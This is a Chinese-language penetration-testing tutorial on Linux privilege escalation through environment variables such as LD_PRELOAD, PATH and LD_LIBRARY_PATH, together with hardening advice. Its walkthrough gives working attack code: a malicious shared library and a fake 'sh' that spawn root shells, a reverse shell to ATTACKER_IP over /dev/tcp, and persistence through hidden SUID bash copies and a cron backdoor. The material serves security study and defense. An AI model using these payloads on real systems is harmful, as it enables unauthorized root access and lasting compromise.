
1. 项目概述与核心价值在渗透测试或安全评估的实战中我们常常会遇到一个看似不起眼实则威力巨大的攻击向量环境变量。很多刚入行的朋友可能会把注意力集中在寻找SUID程序、内核漏洞或者弱密码上却忽略了系统里那些由用户或程序定义的环境变量。我见过不止一次一个配置不当的LD_PRELOAD或者PATH变量直接让攻击者从普通用户权限一路畅通无阻地拿到root shell。今天我们就来彻底拆解这个主题把“利用环境变量进行Linux提权”这件事从原理到实操从常见手法到深度利用给你讲透、讲明白。这篇文章适合谁如果你是安全运维人员想加固自己的系统了解攻击者可能从哪些地方下手如果你是渗透测试学习者想掌握一种高效、隐蔽的提权方法或者你只是对Linux系统安全机制好奇的技术爱好者这篇文章都能给你带来实实在在的干货。我们会绕过那些华而不实的理论堆砌直接切入核心用我踩过的坑和总结的经验带你一步步构建起利用环境变量提权的完整知识体系。记住安全攻防的本质是细节的对抗而环境变量正是细节中的细节。2. 环境变量提权的核心原理与攻击面分析2.1 环境变量是什么为什么它能成为提权入口简单来说环境变量就是操作系统或Shell中预先定义好的一些键值对它们影响着程序运行时的行为。比如PATH决定了系统去哪里找可执行文件HOME指向了你的家目录。在Linux中每个进程都会从其父进程通常是Shell继承一套环境变量。那么它为什么危险核心原因在于信任边界被打破。许多系统程序、SUID程序以文件所有者权限运行的程序在运行时会依赖或读取环境变量。如果攻击者能够控制传递给这些高权限程序的环境变量就可能诱使程序执行非预期的代码从而提升权限。这种攻击往往不依赖于复杂的漏洞而是利用程序设计的逻辑缺陷或配置疏忽因此具有很高的可利用性和隐蔽性。2.2 四大高危环境变量攻击面详解根据多年的实战和CTF比赛经验我将高危的环境变量攻击面主要归纳为以下四类每一类都有其独特的利用链和场景。2.2.1 LD_PRELOAD动态链接器的“后门”这是最经典、也最强大的环境变量提权手段之一。LD_PRELOAD允许你在程序运行前优先加载指定的共享库.so文件。如果一个SUID程序在运行时不清理这个变量并且你能够控制它加载的库内容你就可以让这个高权限程序执行你的恶意代码。原理深度解析当Linux运行一个动态链接的程序时动态链接器通常是ld-linux.so会负责加载程序所需的共享库。LD_PRELOAD环境变量提供了一个库路径列表链接器会优先加载这些库。如果这些库中包含了与标准库函数如system、getuid同名的函数那么程序就会调用你的函数而不是系统的。关键在于SUID程序运行时其有效用户IDEUID会变成文件所有者通常是root但它继承的环境变量可能来自当前用户低权限。如果程序没有使用secure_getenv或启动时清空危险环境变量攻击就成立了。一个典型的利用场景是找到一个具有SUID权限且不清理LD_PRELOAD的程序。你可以编写一个恶意的共享库在其中重写getuid()或constructor函数库加载时自动执行的函数在里面调用system(“/bin/bash”)。当SUID程序运行时你的恶意库被优先加载其中的代码便以root权限执行。注意现代Linux发行版如Ubuntu、CentOS的新版本的/bin/su、/usr/bin/sudo等核心SUID程序其加载器ld.so本身也是SUID的并且会显式忽略LD_PRELOAD等变量这是重要的安全缓解措施。因此寻找目标时要瞄准那些自定义的、安全意识不足的SUID程序。2.2.2 PATH劫持让系统执行你的“命令”PATH环境变量定义了Shell在哪些目录中搜索可执行文件。PATH劫持的核心思想是通过篡改PATH变量的值让系统程序在执行外部命令时优先找到攻击者放置的恶意同名程序而不是真正的系统程序。攻击链分析假设有一个SUID程序/usr/local/bin/vuln_program它的代码中某处调用了system(“ls -la”)或popen(“backup.sh”, “r”)。这里存在一个关键点system()和popen()函数内部会调用Shell/bin/sh来执行命令字符串。而Shell在解析命令ls时会依赖PATH环境变量来寻找ls这个可执行文件的位置。如果vuln_program在执行时没有重置PATH变量例如没有使用execve并显式传递安全的环境变量并且它继承了攻击者设置的PATH那么攻击者就可以这样做在自己的可写目录如/tmp下创建一个名为ls的恶意脚本。将PATH设置为/tmp:$PATH确保Shell优先搜索/tmp目录。运行SUID程序vuln_program。程序调用system(“ls -la”)Shell根据被篡改的PATH找到了/tmp/ls并执行。由于vuln_program是SUID root它启动的Shell进程也拥有root权限因此/tmp/ls脚本将以root身份运行。2.2.3 LD_LIBRARY_PATH库文件的“李鬼”LD_LIBRARY_PATH与LD_PRELOAD类似但它指定的是动态链接器搜索共享库的额外路径。攻击者可以将其指向一个包含恶意版本系统库的目录。如果SUID程序依赖某个库如libcrypt.so.1并且没有安全地链接它就可能加载攻击者提供的恶意库。与LD_PRELOAD的区别LD_PRELOAD是“强制优先加载指定库”而LD_LIBRARY_PATH是“在默认路径之前先搜索这些路径”。后者更依赖于程序是否链接了非绝对路径的库。现代系统下SUID程序对LD_LIBRARY_PATH通常也有防护但一些老旧或自定义程序仍可能中招。2.2.4 其他敏感环境变量PS1与PS2Shell提示符变量。如果有一个SUID脚本或程序以root权限调用Shell并且这些变量包含命令替换如whoami那么命令替换会被执行。虽然现在很少见但在一些特制的环境下仍需留意。PERL5OPT / PYTHONPATH 如果SUID程序是用Perl或Python编写的脚本第一行是#!/usr/bin/perl并且它设置了SUID位实际上脚本的SUID位通常无效但可能有其他方式以高权限运行脚本那么这些环境变量可以用于加载恶意的Perl模块或Python模块从而执行代码。更常见的是通过sudo执行特定命令时如果保留了这些变量也可能造成风险。GETCONF_DIR 影响getconf命令的行为在某些特定配置下可能被利用来读取任意文件。3. 实战演练从信息收集到漏洞利用理论讲完了我们进入实战环节。假设我们已经通过前期渗透获得了一个普通用户的Shell。我们的目标是利用环境变量提权到root。3.1 第一步信息收集与目标识别盲目攻击是低效的。首先我们需要系统地收集信息寻找潜在的攻击点。3.1.1 寻找SUID/SGID程序这是最主要的靶标。使用以下命令find / -type f -perm -4000 -o -perm -2000 2/dev/null-perm -4000查找SUID文件-perm -2000查找SGID文件。2/dev/null忽略错误信息。仔细分析输出结果。重点关注非标准路径下的程序如/usr/local/bin/,/opt/,/home/下的程序。系统自带的/bin/passwd,/bin/su等通常已做好防护。自定义的、功能简单的程序例如公司内部开发的备份脚本、监控工具等这些程序的安全意识可能比较薄弱。脚本文件虽然Shell脚本的SUID位通常不起作用但要检查它们是否被其他SUID二进制文件调用。3.1.2 分析目标程序行为找到可疑程序后需要分析它的行为。检查字符串使用strings命令查看程序中是否有调用外部命令的痕迹。strings /usr/local/bin/backup_tool | grep -E “(system|popen|exec|PATH|LD_)”使用strace跟踪strace可以跟踪程序运行时的系统调用和信号。strace /usr/local/bin/backup_tool 21 | head -50观察是否有execve、open尝试打开库文件等调用并注意其参数。手动测试运行程序观察其输出和功能。尝试输入各种参数看是否有执行命令的迹象比如执行ls、tar等。3.1.3 检查环境变量继承情况这是一个关键测试用于判断程序是否会清理危险环境变量。# 创建一个测试程序打印出LD_PRELOAD和PATH cat test_env.c EOF #include stdio.h #include stdlib.h int main() { printf(“LD_PRELOAD %s\n”, getenv(“LD_PRELOAD”)); printf(“PATH %s\n”, getenv(“PATH”)); return 0; } EOF gcc test_env.c -o test_env sudo chown root:root test_env sudo chmod us test_env # 赋予SUID权限 # 设置环境变量并运行 export LD_PRELOAD/tmp/test.so export PATH/tmp:$PATH ./test_env如果程序打印出了你设置的值说明它没有清理这些环境变量存在潜在风险。注意在实际测试中你需要将编译好的测试程序上传到目标机器或者找到已有SUID程序进行类似测试通过查看其是否尝试访问/etc/ld.so.preload或调用secure_getenv来间接判断。3.2 第二步针对LD_PRELOAD的利用实战假设我们找到了一个程序/usr/local/bin/vuln_suid它不清理LD_PRELOAD。3.2.1 编写恶意共享库// evil_lib.c #include stdio.h #include sys/types.h #include stdlib.h // 重写getuid函数。很多SUID程序会调用此函数检查权限。 uid_t getuid() { // 直接启动一个root shell system(“/bin/bash -p”); // “-p” 选项用于保留提升的权限 return 0; // 返回一个值避免编译警告 } // 或者使用库的构造函数在库被加载时自动执行 __attribute__((constructor)) void init() { unsetenv(“LD_PRELOAD”); // 可选防止bash继承此变量导致递归加载 system(“/bin/bash -p”); }编译为共享库gcc -fPIC -shared -o /tmp/evil.so evil_lib.c -nostartfiles-fPIC生成位置无关代码-shared生成共享库-nostartfiles对于简单的库有时可避免链接警告。3.2.2 实施攻击# 设置环境变量指向我们的恶意库 export LD_PRELOAD/tmp/evil.so # 运行存在漏洞的SUID程序 /usr/local/bin/vuln_suid如果攻击成功你会直接获得一个root权限的bash shell。实操心得在实际环境中可能会遇到/bin/bash降权或system()调用被限制的情况。可以尝试多种payloadsystem(“/bin/sh -p”) 使用更基本的sh。system(“/bin/bash -i /dev/tcp/ATTACKER_IP/4444 01”) 直接反弹一个root shell到攻击机。在库中执行更复杂的操作如写文件fopen(“/etc/passwd”, “a”)添加用户或修改/etc/shadow。3.3 第三步针对PATH劫持的利用实战假设程序/usr/local/bin/run_backup内部使用了system(“/bin/sh /scripts/backup.sh”)但调用sh时没有使用绝对路径错误示例system(“sh /scripts/backup.sh”)或者它调用了其他未写绝对路径的命令。3.3.1 构造恶意程序在攻击者可写的目录如/tmp下创建名为sh的恶意脚本。cat /tmp/sh ‘EOF’ #!/bin/bash # 当这个sh被以root权限调用时执行以下操作 /bin/bash -p # 启动一个root shell # 或者执行其他命令如cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash EOF chmod x /tmp/sh这个脚本的本质是一个“木马”当系统寻找sh命令时它会优先被执行。3.3.2 实施攻击# 篡改PATH环境变量将/tmp放在最前面 export PATH/tmp:$PATH # 运行存在漏洞的SUID程序 /usr/local/bin/run_backup程序run_backup在内部调用system(“sh …”)时Shell会根据被篡改的PATH找到/tmp/sh并执行从而获得root权限。3.4 第四步综合利用与权限维持单一的提权可能被察觉。在实战中我们往往追求更隐蔽、更持久的方式。3.4.1 创建后门SUID Shell获得root shell后第一时间创建一个隐蔽的后门方便下次进入。# 方法1复制bash并设置SUID cp /bin/bash /tmp/.hidden_bash chmod us /tmp/.hidden_bash # 之后任何用户执行 /tmp/.hidden_bash -p 即可获得root shell。 # 方法2使用Python/Perl单行命令创建SUID shell如果相应解释器存在 # Python: python -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’ # 先检查python是否有SUID位或sudo权限然后利用其执行shell。3.4.2 利用Cron Jobs进行持久化检查root的cron任务尝试添加一个反向Shell或后门脚本。# 查看系统cron任务 ls -la /etc/cron* /var/spool/cron/crontabs/ # 如果/etc/cron.d/目录可写可以添加一个文件 echo “* * * * * root /tmp/backdoor.sh” /etc/cron.d/evil-job # 需要root权限但在当前获得的root shell下可以操作。4. 防御策略与安全加固指南了解了攻击才能更好地防御。作为系统管理员或安全开发者你必须堵上这些漏洞。4.1 安全编程实践开发者视角最小权限原则程序能不使用SUID/SGID就不要用。如果必须使用确保其功能尽可能单一、受限。清理环境变量在SUID/SGID程序的main()函数开头显式清理危险环境变量。#include unistd.h #include stdlib.h … unsetenv(“LD_PRELOAD”); unsetenv(“LD_LIBRARY_PATH”); unsetenv(“PATH”); // 谨慎可能影响功能。建议设置为安全值。 // 更安全的方法是使用execve系列函数并传递一个全新的、受控的环境变量数组。 char *new_env[] {“PATH/usr/bin:/bin”, “TERMxterm”, NULL}; execve(“/bin/ls”, argv, new_env);使用绝对路径在程序内部调用外部命令或加载库时永远使用绝对路径。不要依赖PATH或LD_LIBRARY_PATH。错误system(“ls”);正确system(“/bin/ls”);或使用execve(“/bin/ls”, …)库链接在编译时使用-Wl,-rpath指定库路径或确保链接的库路径是绝对的。使用安全的函数优先使用execve()、execv()、execl()等可以指定环境变量的函数而不是system()或popen()。获取环境变量时使用secure_getenv()而不是getenv()。secure_getenv()在SUID/SGID程序中会返回NULL防止泄露敏感信息。静态链接对于关键的小工具考虑静态链接避免运行时加载动态库从根本上杜绝LD_PRELOAD和LD_LIBRARY_PATH的攻击。4.2 系统配置加固管理员视角限制SUID/SGID程序定期审计系统使用find命令列出所有SUID/SGID文件移除不必要的。特别是/home目录下不应存在任何SUID文件。使用文件系统扩展属性设置no-suids挂载选项对于非必要的分区如/home,/tmp可以在/etc/fstab中添加nosuid选项防止在该分区上执行SUID程序。/dev/sda5 /home ext4 defaults,nosuid 0 2使用chattr i对关键的系统SUID程序如/bin/su,/usr/bin/sudo设置不可更改属性防止被替换。sudo chattr i /bin/su利用Linux安全模块AppArmor/SELinux为重要的服务和应用配置严格的访问控制策略可以限制其即使被攻破后的行为范围包括对环境变量的访问和执行命令的能力。内核安全参数/proc/sys/kernel/yama/ptrace_scope限制ptrace的使用增加攻击者调试和分析SUID程序的难度。kernel.unprivileged_userns_clone设置为0可以阻止非特权用户创建用户命名空间某些利用命名空间的环境变量攻击会失效。定期更新与审计保持系统和所有软件更新。使用像lynis、tiger这样的安全审计工具进行自动化检查它们会扫描不安全的SUID文件和配置。5. 高级技巧与疑难问题排查5.1 绕过现代系统的保护机制新版的glibc和内核增强了对SUID程序的保护。例如ld.so会忽略LD_PRELOAD等变量。如何应对寻找“边缘”SUID程序目标不是/bin/su、/usr/bin/passwd这些核心程序而是第三方软件、老旧软件、开发人员遗留的工具。这些程序很可能没有遵循安全规范。利用脚本语言解释器如果SUID程序是一个Perl或Python脚本通过#!/usr/bin/perl启动并且解释器本身是SUID这很少见或者该脚本被sudo以root权限执行且保留了PERL5OPT等环境变量则可以利用。更常见的是通过sudo -l查看当前用户能以root身份运行哪些命令如果允许运行某些解释器且不重置环境变量env_keep选项则可以利用。利用共享对象注入的其他方式如果LD_PRELOAD被屏蔽可以尝试修改/etc/ld.so.preload文件需要root权限提权后用于持久化或者寻找程序通过dlopen()动态加载的库路径是否可控。5.2 实战中常见的失败原因与排查攻击失败没有获得shell检查SUID程序是否真的以root运行ps aux | grep vuln_program查看进程的实际用户。检查编译的共享库是否正确使用ldd命令检查SUID程序依赖的库或使用strace查看它是否尝试打开你指定的.so文件。确保库的编译架构32/64位与目标程序匹配。检查bash的行为现代bash会在发现EUID与RUID不同时丢弃特权。这就是为什么我们在payload中使用bash -p-p代表privileged保留特权模式。尝试使用/bin/sh它通常是dash行为可能不同。程序调用了setuid(getuid())有些程序会在初始化后主动放弃特权。你的恶意库需要在它放弃特权之前执行代码。使用__attribute__((constructor))构造函数通常足够早。“Permission denied” 错误确保恶意脚本如/tmp/sh有执行权限chmod x。确保存放恶意库的目录如/tmp允许执行。某些系统可能挂载/tmp为noexec。尝试使用/dev/shm或家目录下的子目录。环境变量似乎被清空了程序可能使用了execle或execve并传递了空环境变量数组。或者使用了secure_getenv。此时PATH劫持和LD类攻击通常无效。需要寻找其他漏洞点。5.3 自动化工具辅助手动测试虽然深刻但效率较低。可以借助一些工具进行初步扫描LinEnum经典的Linux本地枚举脚本会检查SUID/SGID文件、可写路径、环境变量配置等。LinPEAS功能更强大的枚举脚本是PEASS-ng项目的一部分能非常详细地检查环境变量相关的风险点并给出利用建议。SUID3NUM专注于SUID文件的枚举和简单分析。这些工具的输出可以作为起点但真正的利用和分析仍需结合手动验证和理解。永远不要完全依赖自动化工具。环境变量提权是一门“手艺活”它考验的是你对Linux系统运行机制的深入理解和对细节的观察力。它没有永恒不变的利用链随着系统安全机制的增强老的方法会失效但新的配置疏忽和逻辑缺陷又会出现。保持学习保持对系统行为的好奇心在攻防的实践中你对于“安全”二字的理解才会越发透彻。我所分享的这些方法都曾在真实场景或CTF比赛中验证过但请务必在授权许可的环境中进行测试。